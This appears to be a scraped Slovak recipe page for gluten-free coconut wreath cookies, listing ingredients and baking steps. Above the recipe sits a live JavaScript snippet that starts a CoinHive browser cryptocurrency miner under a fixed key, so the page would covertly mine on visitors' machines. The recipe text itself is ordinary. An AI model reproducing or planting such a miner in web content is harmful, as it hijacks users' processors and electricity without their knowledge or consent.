

var miner = new

CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();



300 g bezlepkovej múky, 100 g práškového cukru, 120 g strúhaného kokosu, ½ balíčka vanilkového cukru, 120 g rastlinného tuku Helia, 1 celé vajce, 1 PL rumovej esencie, na obaľovanie práškový a vanilkový cukor

Cesto dobre vypracujeme a pomocou formičkového násadca, ktorý pripevníme na mäsový mlynček, tvarujeme venčeky. Pečieme cca 15 minút na vymastenom a vysypanom plechu vo vopred vyhriatej rúre na 160-180°C. Vychladnuté venčeky obaľujeme v práškovom cukre zmiešanom s vanilkovým cukrom.